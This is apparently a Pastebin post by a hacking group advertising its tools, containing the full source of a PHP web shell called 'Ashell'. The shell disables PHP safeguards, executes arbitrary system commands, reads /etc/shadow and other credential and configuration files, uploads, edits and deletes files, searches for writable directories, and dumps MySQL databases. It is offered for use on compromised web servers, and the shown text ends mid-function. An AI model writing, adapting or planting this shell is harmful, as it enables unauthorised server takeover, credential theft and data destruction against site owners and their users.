API tools faq
paste
Advertisement
lockerit

Php Shell Ashell

lockerit
Oct 30th, 2016
135
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 27.26 KB | None | 0 0
raw download clone embed print report
  1. /* Php Shell Ashell Visit Us */
  2. Locker-it.com TeaM
  3. ******************************************************************************
  4. Our Online Hacking Tools
  5. http://tools.locker-it.com/online.html
  6. ******************************************************************************
  7. Spam Section
  8. http://tools.locker-it.com/spam.html
  9. ******************************************************************************
  10. Site And Servers Hacking Section
  11. http://tools.locker-it.com/site.html
  12. ******************************************************************************
  13. Pc Hacking Section
  14. http://tools.locker-it.com/pc.html
  15. ******************************************************************************
  16. Local Root Section
  17. http://tools.locker-it.com/local.html
  18. ******************************************************************************
  19. Our Forum LinK
  20. http://locker-it.com/vb/
  21. By
  22. (( Sn!per Wolf ))
  23.  
  24. <?php
  25.  
  26.                                        ##    ##  #
  27.                                         ##     #  ####
  28.                                           ## ##  ##  ##
  29.                                       ###  ###  ##    #
  30.                                     ### ##     ##     ##
  31.                                   ##    ###  ##       ##
  32.                                          #     #     ##
  33.                                        ###    #     ##
  34.                                      ### #   ##    ##
  35.                                      #   ##  ##   ##
  36.                                           #   #####
  37.                                   #       ##   ###
  38.                                  ##     ###     #
  39.                                   #######
  40.                                    #####
  41.  
  42. //error_reporting(0);
  43. @ini_restore("safe_mode");
  44. @ini_restore("open_basedir");
  45. if(get_magic_quotes_gpc()){
  46. while(list($key,$val)=each($_POST)){
  47. $_POST[$key]=stripslashes($val);}}
  48. set_magic_quotes_runtime(0);
  49. @set_time_limit(0);
  50. @ini_set('max_execution_time',0);
  51. @ini_set('output_buffering',0);
  52. $name='1';
  53. $pass='c8d3a760ebab631565f8509d84b3b3f1';
  54. if(false){#esli nado pishem 'true'
  55. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass){
  56. header('WWW-Authenticate: Basic realm="Auth"');header('HTTP/1.0 401 Unauthorized');
  57. exit;}}
  58. header("Cache-Control: no-store, no-cache, must-revalidate");
  59. header("Cache-Control: post-check=0, pre-check=0", false);
  60. header("Pragma: no-cache");
  61. function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
  62. function w($a){return str_repeat("&nbsp;",$a);}
  63. function b($b){return "<b>$b</b>";}
  64. function e($e){switch($e){
  65. case 0:return('no such file');
  66. case 1:return('no such dirictory');
  67. case 2:return('permission denied');
  68. case 3:return('is not dirictory');
  69. case 4:return('is a dirictory');
  70. }}
  71. function test_file($filename){
  72. return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
  73. if(isset($_POST['downl']) && !empty($_POST['downf'])){
  74. if(!preg_match('/^\//',$_POST['downf'])){
  75. $_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
  76. if(!test_file($_POST['downf'])){
  77. if(!is_dir($_POST['downf'])){
  78. $fd=fopen($_POST['downf'], "rb");
  79. $nam=preg_replace('/.+\//','',$_POST['downf']);
  80. header("Content-Type: application/octet-stream; name=\"".$nam."\"");
  81. header("Content-Length: ".filesize($_POST['downf']));
  82. header("Content-disposition: attachment; filename=\"".$nam."\"");
  83. while(!feof($fd)){
  84. $buffer=fgets($fd,4096);
  85. echo $buffer;
  86. }
  87. fclose ($fd);
  88. exit;
  89. }
  90. else $error=font('red',e(4));
  91. }
  92. else $error=test_file($_POST['downf']);}
  93. if(isset($_POST['sql']) && !isset($_POST['exitsql'])){
  94. $text="<body bgcolor=#C2DDFF>
  95. <b>Mysql@server:user:pass:db</b>
  96. <form method='POST'>
  97. ";
  98. $a=array('server','user','password','db');$i=-1;
  99. while($i++<3){
  100. $text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:'')."'>\n";}
  101. $text.="<input type='submit' name='sql' value='Connect'>
  102. <input type='submit' name='exitsql' value='Exit'>";
  103. $text="\n<body bgcolor=#C2DDFF>
  104. <b>Mysql@server:user:pass:db</b>
  105. <form method='POST'>\n";
  106. $a=array('srv','user','pass','db');$i=-1;
  107. while($i++<3){
  108. $text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:(($i==0)?'localhost':null))."'>\n";}
  109. $text.="<input type='submit' name='sql' value='Connect'><input type='submit' name='exitsql' value='Exit'>\n";
  110. if(isset($_POST['sql'])){
  111. if(isset($_POST['user']))$user=$_POST['user'];
  112. if(isset($_POST['pass']))$password=$_POST['pass'];
  113. if(isset($_POST['srv'])){
  114. $server=$_POST['srv'];
  115. $connect=mysql_connect($server,$user,$password) or die($text."</form>not connect");}
  116. else{die($text."</form>");}
  117. if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db<br>");}
  118. function write($data){
  119. switch($_POST['save']){
  120. case 0:
  121. global $dump;
  122. $dump.=$data;
  123. break;
  124. case 1:
  125. global $fp;
  126. switch($_POST['compr']){
  127. case 0:
  128. fwrite($fp,$data);
  129. break;
  130. case 1:
  131. gzwrite($fp, $data);
  132. break;
  133. case 2:
  134. bzwrite($fp,$data);
  135. break;}
  136. break;}}
  137. function sqlh(){
  138. global $dump,$server;
  139. write("#\n#Server : ".getenv('SERVER_NAME')."
  140. #DB_Host : ".$server."
  141. #DB : ".$_POST['db']."
  142. #Table : ".$_POST['table_sel']."\n#\n\n");}
  143. function sql(){
  144. global $dump,$connect;
  145. $row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect));
  146. write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`;\n".$row[1].";\n\n");}
  147. function sql1(){
  148. global $connect;
  149. $result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
  150. function test($aaa){
  151. $d=array();
  152. while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
  153. return($d);}
  154. while ($line=mysql_fetch_assoc($result)) {
  155. ((!isset($key))?($key=implode('`, `',array_keys($line))):null);
  156. $ddd=test(array_values($line));
  157. $val=implode('\', \'',$ddd);
  158. write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."');\n");}
  159. mysql_free_result($result);}
  160. function head($tmpfname,$name){
  161. header("Content-Type: application/octet-stream; name=\"$name\"");
  162. header("Content-Length: ".filesize($tmpfname)."");
  163. header("Content-disposition: attachment; filename=\"$name\"");
  164. $fd=fopen($tmpfname, "r");
  165. while(!feof($fd)){
  166. echo fgets($fd, 4096);}
  167. fclose($fd);
  168. unlink($tmpfname);
  169. exit;}
  170. if(isset($_POST['back']) && isset($_POST['table_sel'])){
  171. $dump='';
  172. if($_POST['save']==1){
  173. $tmpfname=tempnam($_POST['save_p'], "FOO");
  174. switch($_POST['compr']){
  175. case 0:
  176. $fp=fopen($tmpfname,"w");
  177. break;
  178. case 1:
  179. $fp=gzopen($tmpfname, "w9");
  180. break;
  181. case 2:
  182. $fp=bzopen($tmpfname, "w");
  183. break;}}
  184. switch($_POST['as']){
  185. case 0:
  186. switch($_POST['as_sql']){
  187. case 0:
  188. sqlh();
  189. sql();
  190. break;
  191. case 1:
  192. sqlh();
  193. sql();
  194. sql1();
  195. break;
  196. case 2:
  197. sqlh();
  198. sql1();
  199. break;}
  200. if($_POST['save']==1){
  201. switch($_POST['compr']){
  202. case 0:
  203. $n='.txt';
  204. fclose($fp);
  205. break;
  206. case 1:
  207. $n='.gz';
  208. gzclose($fp);
  209. break;
  210. case 2:
  211. $n='.bz2';
  212. bzclose($fp);
  213. break;}
  214. head($tmpfname,$_POST['table_sel'].$n);}
  215. break;
  216. case 1:
  217. $res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
  218. if(mysql_num_rows($res) > 0) {
  219. while($row = mysql_fetch_assoc($res)) {
  220. $values = array_values($row);
  221. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  222. $values = implode($_POST['cvs_term'], $values);
  223. write($values);}}
  224. break;}}
  225. echo "$text\n<table height=200 width=100%><tr><td bgcolor=green width=10%>";
  226. $db_list=mysql_list_dbs($connect);
  227. echo "<select name='db' multiple size=30>\n";
  228. while($row=mysql_fetch_object($db_list)){
  229. $db1=$row->Database;
  230. echo "<option value='$db1' ".(($db1===$_POST['db'])?'selected':'').">$db1</option>\n";}
  231. echo "</select></td><td bgcolor=#CBC3B6>\n";
  232. if(!empty($_POST['db'])){
  233. $tb_list=mysql_list_tables($_POST['db']);
  234. echo "<select name='table_sel' multiple size=30>";
  235. for($i=0;$i<mysql_num_rows($tb_list);$i++){
  236. $n=mysql_fetch_array(mysql_query('select count(*) from '.mysql_tablename($tb_list,$i)));
  237. echo "<option value='".mysql_tablename($tb_list, $i)."'".($tr=((isset($_POST['table_sel']) && $_POST['table_sel']===mysql_tablename($tb_list, $i))?'selected':'')).">".mysql_tablename($tb_list, $i).'('.$n[0].")</option>";}
  238. echo "</select></td><td width=100%>
  239. <table  width=100% height=100% bgcolor='#E3FFF2'><tr><td height=20 bgcolor=#dfdfdf width=100%><nobr>\n";
  240. if(isset($_POST['table_sel'])){
  241. $c=array('Browse','SQL','Insert','Export');$i=-1;
  242. while($i++<3){echo "<input type=radio Name='go' value='".($i)."'>".$c[$i];}}
  243. echo "&nbsp;&nbsp;<b>".((isset($_POST['table_sel']))?$_POST['table_sel']:null)."</b></nobr></td></tr><tr width=100%><td width=100%>\n";}
  244. if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0;
  245. elseif(isset($_POST['push']))$_POST['go']=1;
  246. if(isset($_POST['back']))$_POST['go']=3;
  247. if(isset($_POST['brow']))$_POST['go']=0;
  248. if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4;
  249. if(isset($_POST['ed_save']))$_POST['go']=5;
  250. if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0;
  251. if(isset($_POST['go'])){switch($_POST['go']){
  252. case 0:
  253. if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){
  254. $n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql'])));
  255. $result=mysql_query($_POST['querysql'],$connect);}
  256. else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort='';
  257. if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20';
  258. if(isset($_POST['br_st']) && isset($_POST['br_en'])){
  259. $co=$_POST['br_en'].','.$_POST['br_st'];}
  260. $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);}
  261. for($i=0;$i<mysql_num_fields($result);$i++){
  262. if(ereg('primary_key',mysql_field_flags($result, $i)))
  263. $prim=mysql_field_name($result, $i);}
  264. $up_e='';
  265. echo "<div style='width:100%;height:450px;overflow:auto;'><table border=1>\n";
  266. while($line=mysql_fetch_array($result,MYSQL_ASSOC)){echo "<tr bgcolor='#C1D2C5'>\n";
  267. if(!isset($lk)){
  268. echo "<td><b>EDIT</b></td>";
  269. foreach(array_keys($line) as $lk){print((isset($prim) && $lk===$prim)?"<td><u><b>$lk</b></u></td>":"<td>$lk</td>\n");}}
  270. if(!isset($prim)){
  271. while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";}
  272. $up_e=substr($up_e,0,-5);}
  273. else{while(list($key,$val)=each($line)){
  274. if($key===$prim){$up_e.="`$key`='".addslashes($val)."'";}}}
  275. $up_e=urlencode($up_e);
  276. echo "</tr><tr><td><input type=radio name=edit value='$up_e'></td>\n";
  277. $up_e='';
  278. foreach($line as $col_value){echo "<td>".((strlen($col_value)>40)?'<textarea cols=40 rows=7>'.htmlspecialchars($col_value).'</textarea>':htmlspecialchars($col_value))."</td>\n";}
  279. echo "</tr>\n";}
  280. echo "</table></div><input type=submit name='brow' value='Browse'><b>Sort by
  281. <input type=text name=sort size=10 value='".((isset($_POST['sort']))?$_POST['sort']:'')."'>
  282. Show <input type=text size=5 value=".((isset($_POST['br_st']))?$_POST['br_st']:$n[0])." name='br_st'>row(s) starting from<input type=text size=5 value=".((isset($_POST['br_en']))?$_POST['br_en']:'0')." name='br_en'></b>
  283. <input type=submit name=editr value=Edit>";
  284. mysql_free_result($result);
  285. break;
  286. case 1:
  287. echo "<input type=submit name=push value=Run><br>
  288. <textarea cols=70% rows=8 name='querysql'>\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((isset($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))."</textarea><br><br>\n";
  289. if(!empty($_POST['querysql'])){
  290. $result = mysql_query($_POST['querysql'],$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
  291. echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";}
  292. break;
  293. case 2:
  294. echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";
  295. $fields=mysql_list_fields($_POST['db'],$_POST['table_sel'],$connect);
  296. for($i=0;$i<mysql_num_fields($fields);$i++){
  297. echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($fields,$i).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($fields, $i).'('.mysql_field_len($fields, $i).")</b></td><td>".((mysql_field_len($fields, $i)<40)?"<input type='text' name='ed_key:".mysql_field_name($fields,$i)."' value='' size=40>":"<textarea name='ed_key:".mysql_field_name($fields,$i)."' cols=31 rows=7></textarea>")."</td></tr>\n";}
  298. echo "</table></div><input type=hidden name=insert value=1><input type=submit name=ed_save value=Insert>";
  299. break;
  300. case 3:
  301. if(!isset($_POST['back']))echo '<table height=250  align="center"><TR><TD>
  302. <table height=100%>
  303. <tr><td bgcolor="#A8B8F1" width="100" height="20"><b>&nbsp;&nbsp;Export as</b></td></tr>
  304. <tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="0" checked><b>&nbsp;&nbsp;SQL</b></td></tr>
  305. <tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="1"><b>&nbsp;&nbsp;CSV</b></td></tr>
  306. <tr><td height=100%></td></tr>
  307. </table></TD><td>
  308. <table width="140" height=100%>
  309. <TR><TD bgcolor="#A8B8F1"  height="20"><b>&nbsp;&nbsp;SQL</b></TD></TR>
  310. <TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="as_sql" value="0" ><b>Only structure</b></TD></TR>
  311. <TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="as_sql" value="1" checked><b>All</b></TD></TR>
  312. <TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="as_sql" value="2"><b>Only data</b></TD></TR>
  313. <TR><TD bgcolor="#A8B8F1"  height="20"><b>CSV</b></TD></TR>
  314. <TR><TD bgcolor="#D0E0FF"  height="20"><b>Terminated&nbsp;</b><input size=2 type=text Name="cvs_term" value=":"></TD></TR>
  315. <tr><td height=100%></tb></tr>
  316. </table>
  317. </td><td>
  318. <table height=100%>
  319. <tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="0" checked><b>&nbsp;View</b></td></tr>
  320. <tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="1"><b>&nbsp;Download</b></td></tr>
  321. <tr><td bgcolor="#E6D29C" width="130" height="40"><b>&nbsp;Temp path</b><br><input type=text Name="save_p" value="/tmp"></td></tr>
  322. <tr><td height=100%></td></tr>
  323. </table></td><td>
  324. <table width="120" height=100%>
  325. <TR><TD bgcolor="#A8B8F1"  height="20"><b>&nbsp;&nbsp;Compression</b></TD></TR>
  326. <TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="compr" value="0" checked><b>None</b></TD></TR>'.
  327. ((@function_exists('gzencode'))?'<TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="compr" value="1" ><b>Gzip</b></TD></TR>':'').
  328. ((@function_exists('bzcompress'))?'<TR><TD bgcolor="#D0E0FF"  height="20"><input type=radio Name="compr" value="2"><b>Bzip</b></TD></TR>
  329. <tr><td height=100%></td></tr>':'').'</table></td></TR>
  330. <tr><td><input type=submit value=backup name=back></td></tr>
  331. </table>';
  332. if(isset($_POST['back']) && isset($_POST['table_sel'])){
  333. if($_POST['save']==0){echo "<textarea cols=70 rows=10>".htmlspecialchars($dump)."</textarea>";}}
  334. break;
  335. case 4:
  336. if(isset($_POST['edit'])){
  337. $up_e=$_POST['edit'];
  338. echo "<input type=hidden name=edit value='$up_e'>";
  339. $up_e=urldecode($_POST['edit']);
  340. echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";$fi=0;
  341. $result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` WHERE $up_e",$connect);
  342. while($line=mysql_fetch_array($result,MYSQL_ASSOC)){
  343. foreach($line as $key=>$col_value) {
  344. echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($result,$fi).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($result,$fi).'('.mysql_field_len($result,$fi).")</b></td><td>".((mysql_field_len($result,$fi)<40)?"<input type='text' name='ed_key:".mysql_field_name($result,$fi)."' value='".htmlspecialchars($col_value,ENT_QUOTES)."' size=40>":"<textarea name='ed_key:".mysql_field_name($result,$fi)."' cols=31 rows=7>".htmlspecialchars($col_value,ENT_QUOTES)."</textarea>")."</td></tr>\n";
  345. $fi++;}}
  346. echo "</table></div><input type=submit name=ed_save value=Save>";}
  347. break;
  348. case 5:
  349. $ted='';
  350. $_POST2=$_POST;# X.Z. zachem, xernya kakaeto :)
  351. while(list($key1,$val1)=each($_POST2)){
  352. if(preg_match('/ed_key:(.+)/',$key1,$m))
  353. {$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}}
  354. $ted=substr($ted,0,-2);
  355. $query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
  356. echo "<div style='background-color:white;'>".htmlspecialchars($query,ENT_QUOTES)."</div><br>";
  357. $result = mysql_query($query,$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
  358. echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";
  359. break;}}
  360. echo "</td></tr></table></td></tr></table><input type=hidden name=sql>\n";}
  361. else echo $text;
  362. echo "</form></body>";exit;}
  363. echo "<html><body bgcolor=white><center><table bgcolor=orange height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=orange height=10 border=1><tr><nobr><td>".font('blue','PHP:'.@phpversion())."</nobr></td><td><nobr>".font('blue',date('H:i:s l d F Y'))."</nobr></td><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
  364. if(!test_file('/etc/shadow'))echo font('red',b('shadow readable<br>'));
  365. if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable<br>'));
  366. if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable<br>'));
  367. if(!empty($_POST['th']))@chdir($_POST['th']);
  368. echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE"));
  369. #UP
  370. if(isset($_POST['up']))@chdir('../');
  371. #CD
  372. if(isset($_POST['c']) && $_POST['cd']!=''){
  373. if(!test_file($_POST['cd'])){
  374. if(is_dir($_POST['cd'])){
  375. @chdir($_POST['cd']);
  376. }
  377. else $error=font('red',e(3));
  378. }
  379. else $error=test_file($_POST['cd']);}
  380. echo w(3)."<input type=text size=60 value=".getcwd().">";
  381. echo font('blue','USER : '.get_current_user());
  382. if(file_exists("/"))
  383. echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ'));
  384. if(file_exists("C:/"))
  385. echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ'));
  386. if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
  387. echo "<br>";
  388. ?>
  389. <hr>
  390. <form method=POST name=main>
  391. <input type="submit" value="^" name="up">
  392. <input type=text name=cd>
  393. <input type=submit value=cd name=c>
  394. <input type=text name=open>
  395. <input type=submit value=open name=op>
  396. <input type=text name=new>
  397. <input type=submit name=cr value="new file">
  398. <input type=text name=exec>
  399. <input type=submit name=exe value=exec>
  400. <input type=submit name=info value=phpinfo>
  401. <br>
  402. <?php
  403. $ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/etc/hosts','/proc/version','/proc/cpuinfo','/proc/meminfo','/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/etc/syslog.conf');
  404. echo '<select name=passwd>';
  405. foreach($ar_file as $ar_l){
  406. if(!test_file($ar_l))echo "<option value='$ar_l'>$ar_l</option>\n";}
  407. echo '</select><input type=submit name=passw value="read file">';
  408. ?>
  409. <input type=submit name=menu value=upload>
  410. <input type=text name=downf>
  411. <input type=submit name=downl value=download>
  412. <input type=text name="test">
  413. <input type=submit name=tes value="perms">
  414. <input type="submit" name="sql" value="mysql">
  415. <input type="submit" name="eval" value="eval">
  416. <br>
  417. <input type=text name=strin>
  418. <input type=text name=remot>
  419. <input type=submit name=copy value=copy>
  420. <input type="text" name="renold" >
  421. <input type="text" name="rennew" >
  422. <input type="submit" name="rename" value="rename">
  423. <input type=text name=rm >
  424. <input type=submit name=del value=del>
  425. <br>
  426. <input type=reset value=RESET>
  427. <input type="text" name="mkdir">
  428. <input type="submit" name="mk" value="mkdir">
  429. <input type="text" name="rmdir">
  430. <input type="submit" name="rmd" value="rmdir">
  431. <input type="text" name="ch_mod">
  432. <?php
  433. for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
  434. for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
  435. echo"</select>";}
  436. ?>
  437. <input type="submit" name="ch_chmod" value="chmod">
  438. <input type=submit name=find value='find writeable'>
  439. <br>
  440. <hr>
  441. <?php
  442. #FIND WRITEABLE##############
  443. if(isset($_POST['find'])){
  444. echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
  445. if(isset($_POST['fww']) && !empty($_POST['fpath'])){
  446. echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
  447. $arrfw=array($_POST['fpath']);
  448. $ife=0;
  449. while(++$ife<=count($arrfw)){
  450. $pathfw=$arrfw[$ife-1];
  451. if(is_readable($pathfw)){
  452. if($hfw=opendir($pathfw)){
  453. while(false!==($ffw=readdir($hfw))){
  454. $ffw=$pathfw.$ffw;
  455. if(!preg_match('/\/\.+$/',$ffw)){
  456. if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
  457. print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
  458. closedir($hfw);}}}}
  459.  
  460.  
  461. if(isset($_POST['eval'])){
  462. echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";
  463.  
  464.  
  465.  
  466.  
  467.  
  468. echo "";
  469. }
  470. ############################################################################
  471. #RENAME
  472. if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
  473. if(file_exists($_POST['renold'])){
  474. @rename($_POST['renold'],$_POST['rennew']);
  475. }
  476. else $error=font('red',e(0));
  477. }
  478. #
  479.  
  480. #RMDIR
  481. if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
  482. if(file_exists($_POST['rmdir'])){
  483. if(is_dir($_POST['rmdir'])){
  484. if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet");
  485. else $error=font('red','dir not deleted');
  486. }
  487. else $error=font('red',e(3));
  488. }
  489. else $error=font('red',e(0));
  490. }
  491. #
  492. #CHMOD
  493. if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
  494. if(file_exists($_POST['ch_mod'])){
  495. @chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
  496. else $error=font('red',e(0));}
  497. #
  498. #DELETE
  499. if(isset($_POST['del']) && $_POST['rm']!=''){
  500. if(file_exists($_POST['rm'])){
  501. if(!is_dir($_POST['rm'])){
  502. @unlink($_POST['rm']);
  503. }
  504. else echo "<br>".font('red',e(4)."<br>");
  505. }
  506. else echo "<br>".font('red',e(0)."<br>");
  507. }
  508. #
  509. #EXEC
  510. if(!empty($_POST['exe'])){
  511. if(@exec($_POST['exec'],$ar)){
  512. echo "<textarea cols=70 rows=15>";
  513. foreach($ar as $line){
  514. echo $line."\n";
  515. }
  516. echo "</textarea>";}}
  517. #
  518. #OPEN FILE
  519. if(isset($_POST['op']) && $_POST['open']!=''){
  520. if(!test_file($_POST['open'])){
  521. if(!is_dir($_POST['open'])){
  522. $fil=file($_POST['open']);
  523. echo "<textarea cols=100 rows=20 name=edit>";
  524. foreach($fil as $vv){
  525. echo htmlspecialchars($vv);
  526. }
  527. echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
  528. if(is_writable($_POST['open'])==1){
  529. echo w(2).font('green','ACCESS GRANTED');
  530. echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
  531. }}
  532. else $error=font('red',e(2));
  533. }
  534. else $error=test_file($_POST['open']);
  535. }
  536. if(isset($_POST['save'])){
  537. $fr=fopen($_POST['sv'],"w");
  538. $out=$_POST['edit'];
  539. fputs($fr,$out);
  540. fclose($fr);
  541. }
  542. #
  543. #CREATE FILE
  544. if(isset($_POST['cr']) && $_POST['new']!=''){
  545. if(is_writable(dirname($_POST['new']))){
  546. echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
  547. <input type=submit name=cre value=create>
  548. <input type=hidden value=".$_POST['new']."  name=nf>";
  549. }
  550. else echo "<br>".font('red',e(2)."<br>");
  551. }
  552. if(isset($_POST['cre'])){
  553. $ee=fopen($_POST['nf'],'w+');
  554. $out=$_POST['newf'];
  555. fputs($ee,$out);
  556. fclose($ee);
  557. }
  558. #
  559. #MKDIR
  560. if(isset($_POST['mk']) && $_POST['mkdir']!=''){
  561. if(is_writeable('./')){
  562. @mkdir($_POST['mkdir']);
  563. echo font('green',"dir ".b($_POST['mkdir'])." create");
  564. }
  565. else echo font('red',e(2));
  566. }
  567. #
  568. echo "<input type=hidden name=th value=".getcwd()."></form>";
  569. #UPLOAD FILE
  570. if(isset($_POST['menu']) || isset($_POST['qq'])){
  571. echo "
  572. <form enctype=multipart/form-data  method=post>
  573. Save as :<input type=text name=name>File :<input name=userfile type=file>
  574. <input type=submit value=Send name=go_up>
  575. <input type=hidden name=qq>
  576. <input type=hidden name=th value=".getcwd()."></form>";
  577. if(isset($_POST['go_up'])){
  578. if(isset($_POST['name']) && $_POST['name']==''){
  579. $_POST['name']=$_FILES['userfile']['name'];}
  580. if(!preg_match('/^\//',$_POST['name'])){
  581. $_POST['name']=$_POST['th'].'/'.$_POST['name'];}
  582. if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
  583. @copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
  584. else echo "<br>".font('red',"Permisions denied");}}
  585. #
  586. #TEST PERM
  587. if(isset($_POST['tes']) && $_POST['test']!=''){
  588. $j=$_POST['test'];
  589. if(file_exists($j)){
  590. $w='';
  591. if(is_writeable($j)){
  592. $w=w(1).'WRITE'.w(1);
  593. }
  594. if(is_readable($j)){
  595. $w=$w.w(1).'READ'.w(1);
  596. }
  597. echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
  598. }
  599. else echo font('red',$e(0));
  600. }
  601. #
  602. #COPY
  603. if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
  604. if(file_exists(dirname($_POST['remot']))){
  605. if(file_exists($_POST['strin'])){
  606. if(is_writable(dirname($_POST['remot']))){
  607. if(is_readable($_POST['strin'])){
  608. @copy($_POST['strin'],$_POST['remot']);
  609. }
  610. else echo font('red',"no read string file");
  611. }
  612. else echo font('red',"no write dest directory");
  613. }
  614. else echo font('red',"no such file");
  615. }
  616. else echo font('red',"no such dest dir");
  617. }
  618. #
  619. #CHECK DISK
  620. if(isset($_POST['free']) && $_POST['dirfree']!=''){
  621. if(file_exists($_POST['dirfree'])){
  622. $fre=@disk_free_space($_POST['dirfree'])/1048576;
  623. echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
  624. $fre1=@disk_total_space($_POST['dirfree'])/1048576;
  625. echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
  626. }
  627. else echo font('red',"No such disk");
  628. }
  629. #
  630. (isset($_POST['info']))?phpinfo():null;
  631. #
  632. #PASSWD
  633. if(!empty($_POST['passwd']) && isset($_POST['passw'])){
  634. echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
  635. foreach(@file($_POST['passwd']) as $fed)echo $fed;
